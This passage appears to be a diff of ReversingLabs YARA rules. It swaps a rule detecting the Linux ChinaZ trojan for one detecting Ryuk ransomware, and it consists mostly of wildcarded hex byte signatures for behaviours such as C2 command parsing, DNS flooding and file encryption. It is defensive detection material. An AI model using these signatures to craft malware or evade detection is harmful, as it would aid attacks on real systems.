C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 44 24 ?? 4C 8B CF 4C 8D 05 ?? ?? ?? ?? 48 89 44 24 + ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 48 8D 8D ?? + ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? + ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3 + 5D C3 } - $monitoring_v2 = { - 73 ?? ?? ?? ?? 0C 02 72 ?? ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? - 11 ?? 9A 0B 08 07 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 14 14 14 28 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E B7 32 ?? 1F ?? 0A 38 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 0D 09 6F ?? ?? ?? ?? 28 ?? - ?? ?? ?? 2C ?? 2B ?? 08 09 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 (FE | 07) ?? ?? ?? ?? ?? - 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 06 1F ?? 31 ?? 16 0A 72 ?? ?? ?? ?? 09 6F ?? ?? - ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 D6 13 ?? - 11 ?? 11 ?? 8E B7 32 ?? 06 17 D6 0A 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 3A + $remote_connection = { + 44 0F B7 45 ?? 33 DB 48 8B 55 ?? 45 33 C9 48 89 5C 24 ?? 48 8B CE 89 5C 24 ?? C7 44 + 24 ?? ?? ?? ?? ?? 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 85 C0 0F 84 ?? ?? ?? + ?? 80 7D ?? ?? B9 ?? ?? ?? ?? 4C 8B 45 ?? B8 ?? ?? ?? ?? 48 8B 55 ?? 0F 44 C8 48 89 + 5C 24 ?? 45 33 C9 89 4C 24 ?? 89 4D ?? 49 8B CE 48 89 5C 24 ?? 48 89 5C 24 ?? FF 15 + ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 4C 8D 4D ?? 4C 8D 45 ?? + C7 45 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 4D ?? + ?? ?? ?? ?? 4C 8D 45 ?? 41 B9 ?? ?? ?? ?? 48 8B CB 41 8D 51 ?? FF 15 ?? ?? ?? ?? 4C + 8B 4D ?? 48 8B C7 48 F7 D8 48 8B D7 8B 45 ?? 48 8B CB 45 1B C0 89 44 24 ?? FF 15 ?? + ?? ?? ?? 85 C0 74 ?? 33 FF 83 65 ?? ?? 48 8D 55 ?? 45 33 C9 45 33 C0 48 8B CB FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 49 8B CF 03 D7 E8 ?? ?? ?? ?? 44 8B 45 ?? 4C 8D 4D + ?? 8B D7 48 8B CB 48 03 D0 4C 8B F8 FF 15 ?? ?? ?? ?? 8B 45 ?? 03 F8 EB ?? 8B 45 } condition: - uint16( 0 ) == 0x5A4D and ( ( ( $read_server_data_v1 ) and ( $send_v1 ) and ( all of ( $read_packet_v1_p* ) ) ) or ( ( $send_v2 ) and ( $open_url_v2 ) and ( $monitoring_v2 ) ) ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) } -rule REVERSINGLABS_Linux_Trojan_Chinaz : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Ryuk : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects ChinaZ trojan." + description = "Yara rule that detects Ryuk ransomware." author = "ReversingLabs" - id = "f99c224b-db54-5cae-b5fb-8939ebee3250" - date = "2024-07-31" - modified = "2024-07-31" + id = "179c9277-0bdc-522a-a822-cf93febff408" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Trojan.ChinaZ.yara#L1-L246" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ryuk.yara#L1-L199" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d8d08f4f3f36ecc7b219b6b1aae3c76d26e8fb3a44444763929190c6124532ff" + logic_hash = "bf93892b281be20917656e242cbb0f3b3694439556b7e5e40a424ba1aa909105" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "ChinaZ" + tc_detection_type = "Ransomware" + tc_detection_name = "Ryuk" tc_detection_factor = 5 importance = 25 strings: - $collect_system_information_32_p1 = { - 55 57 56 53 81 EC ?? ?? ?? ?? 8D 5C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? - ?? 89 44 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 31 C9 89 C6 8D 44 24 ?? 31 - FF C7 44 24 ?? ?? ?? ?? ?? 01 CE 89 04 24 11 D7 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 0F 31 89 C1 31 C0 31 DB 01 C1 8D 44 24 ?? 11 D3 C7 44 24 ?? ?? ?? ?? - ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? - 29 F1 19 FB 31 ED 2B 44 24 ?? 89 4C 24 ?? 8D B4 24 ?? ?? ?? ?? 89 5C 24 ?? 89 F7 69 - C0 ?? ?? ?? ?? DF 6C 24 ?? 03 44 24 ?? 2B 44 24 ?? D9 7C 24 ?? 89 44 24 ?? DB 44 24 - ?? DE F9 0F B7 44 24 ?? B4 ?? 66 89 44 24 ?? D9 6C 24 ?? DB 5C 24 ?? D9 6C 24 ?? 8B - 5C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? - 8D 9C 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? A1 - } - $collect_system_information_32_p2 = { - C7 04 24 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 - DF B1 ?? F3 AB 89 DF 89 5C 24 ?? 89 74 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 C7 44 24 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 54 24 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 F7 C7 44 24 ?? ?? ?? ?? ?? 89 D0 - C1 F8 ?? C1 E8 ?? 01 D0 C1 F8 ?? 89 44 24 ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C2 A1 ?? ?? ?? - ?? 89 54 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 DF B1 ?? F3 - AB 89 5C 24 ?? 89 74 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 85 D2 0F - 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D - C3 + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? + 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 + FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? + ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? + ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? 0F 57 C0 66 0F 13 + 45 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 55 ?? 52 8B 45 + ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? + ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 83 7D ?? ?? 77 ?? 81 7D + ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? + 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? + 89 55 ?? 83 7D ?? ?? 72 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 6A ?? 6A ?? 8B 4D ?? 51 + 8B 55 ?? 52 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 + 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 77 + ?? 83 7D ?? ?? 77 ?? 72 ?? 83 7D ?? ?? 73 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 83 7D ?? ?? 77 ?? 72 + ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 6A + ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 + 55 ?? EB ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 6A ?? 6A ?? 8B 55 ?? + 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D } - $send_system_info_32 = { - 57 56 53 81 EC ?? ?? ?? ?? 8D 5C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? - 89 44 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 0F 31 31 C9 89 C6 8D 44 24 ?? 31 FF C7 44 24 ?? ?? ?? ?? ?? 01 CE 89 04 24 11 D7 E8 - ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 89 C1 31 C0 31 DB 01 C1 8D 44 - 24 ?? 11 D3 C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? - 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 29 F1 19 FB 2B 44 24 ?? 89 4C 24 ?? 89 5C 24 ?? 69 - C0 ?? ?? ?? ?? DF 6C 24 ?? 03 44 24 ?? 2B 44 24 ?? D9 7C 24 ?? 89 44 24 ?? DB 44 24 - ?? DE F9 0F B7 44 24 ?? B4 ?? 66 89 44 24 ?? D9 6C 24 ?? DB 5C 24 ?? D9 6C 24 ?? 8B - 5C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? - C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? C7 04 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - 89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5E 5F C3 + $encrypt_files_p2 = { + 77 ?? 83 7D ?? ?? 77 ?? 72 ?? 83 7D ?? ?? 77 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 8B 4D ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 72 ?? + 83 7D ?? ?? 73 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D + ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F + 86 ?? ?? ?? ?? 8B 4D ?? 81 E9 ?? ?? ?? ?? 89 4D ?? 6A ?? 6A ?? 8B 55 ?? 52 8B 45 ?? + 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? + ?? ?? ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? + 89 45 ?? 83 7D ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? + 8B 55 ?? 83 C2 ?? 89 55 ?? 83 7D ?? ?? 0F 83 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? + ?? 8B 45 ?? 0F BE 8C 05 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 0F BE 84 15 + ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 0F BE 94 0D ?? ?? ?? ?? 83 FA ?? 0F + 85 ?? ?? ?? ?? 8B 45 ?? 0F BE 8C 05 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? + 0F BE 84 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 0F BE 94 0D ?? ?? ?? ?? + 83 FA ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 8D ?? + ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 66 A1 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? + ?? ?? ?? ?? 75 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 55 ?? 52 8B 45 ?? + 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 } - $parse_c2_commands_32 = { - 55 31 C0 57 B9 ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? 0F B6 94 24 - ?? ?? ?? ?? 89 DF F3 AB C7 04 24 ?? ?? ?? ?? 88 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 83 E0 ?? 89 84 24 ?? ?? ?? ?? 90 A1 ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 89 04 24 E8 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 89 74 24 ?? - C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F - 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 - ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 0F 84 ?? - ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB - 8D B4 24 ?? ?? ?? ?? B0 ?? 8D BC 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? B1 ?? F3 A5 89 - D6 8B BC 24 ?? ?? ?? ?? F7 C7 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F7 C7 ?? ?? ?? ?? 0F 85 - ?? ?? ?? ?? 89 C1 C1 E9 ?? A8 ?? F3 A5 0F 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? 89 - 54 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? - 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C3 + $encrypt_files_p3 = { + 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? + ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 + FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? + ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D + ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 6A ?? 6A ?? 6A + ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 50 8B 45 ?? 50 FF 15 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B + 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? + 8D 45 ?? 50 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? + ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? + 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 6A ?? + 68 ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 68 } - $dns_flood_32_p1 = { - 55 57 56 53 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 5C 24 ?? 8B - B4 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? F6 C3 ?? 89 DF 0F 85 ?? ?? ?? ?? 89 C1 C1 E9 ?? A8 - ?? F3 A5 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? - 89 F7 89 44 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? F7 35 ?? ?? ?? - ?? 8B 04 95 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 C5 8D - 44 24 ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? F3 AB 8D 54 24 ?? - 89 14 24 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 5C 24 ?? 89 84 24 ?? - ?? ?? ?? 0F B7 44 24 ?? 66 89 84 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? - ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 14 24 89 74 24 ?? 89 54 24 ?? C6 84 24 ?? ?? ?? ?? - ?? C6 84 24 ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? - ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 - } - $dns_flood_32_p2 = { - 24 ?? 89 D1 8B 39 83 C1 ?? 8D 87 ?? ?? ?? ?? F7 D7 21 F8 25 ?? ?? ?? ?? 74 ?? A9 ?? - ?? ?? ?? 0F 84 ?? ?? ?? ?? 00 C0 89 D7 83 D9 ?? 29 D1 8D 84 0C ?? ?? ?? ?? 66 C7 00 - ?? ?? 66 C7 40 ?? ?? ?? 8B 0F 83 C7 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? - 74 ?? A9 ?? ?? ?? ?? 75 ?? C1 E8 ?? 83 C7 ?? 00 C0 8D 44 24 ?? 83 DF ?? C7 44 24 ?? - ?? ?? ?? ?? 29 D7 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 89 74 - 24 ?? 89 84 24 ?? ?? ?? ?? 0F B7 44 24 ?? 89 14 24 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 94 24 ?? ?? ?? ?? 89 5C 24 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? - 83 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 C7 ?? 89 C2 - C1 FA ?? F7 F9 8D 42 ?? 66 C1 C8 ?? 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 2C 24 F7 35 ?? ?? ?? ?? - 8B 04 95 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D 44 24 ?? 89 44 - 24 ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 83 80 ?? ?? ?? ?? ?? 83 90 ?? ?? ?? ?? ?? - 83 3D ?? ?? ?? ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? E8 - } - $collect_system_information_64_p1 = { - 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 4C 8D 84 24 ?? - ?? ?? ?? 48 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? - ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? - ?? 0F 31 48 89 D3 48 8D 7C 24 ?? 31 F6 48 C1 E3 ?? 89 C0 48 01 C3 E8 ?? ?? ?? ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D5 48 8D 7C 24 ?? 31 F6 48 C1 E5 ?? 89 C0 45 - 31 E4 48 01 C5 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 2B 44 24 ?? 48 29 DD 48 8B 54 24 ?? - 2B 54 24 ?? BF ?? ?? ?? ?? F2 48 0F 2A C5 48 8D AC 24 ?? ?? ?? ?? 69 C0 ?? ?? ?? ?? - 01 D0 F2 0F 2A C8 F2 0F 5E C1 F2 0F 2C D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 BE ?? - ?? ?? ?? BF ?? ?? ?? ?? 31 C0 41 89 D8 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 05 - ?? ?? ?? ?? BF ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? BE - ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E0 B9 ?? ?? ?? ?? 48 89 EF F3 48 AB + $encrypt_files_p4 = { + 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 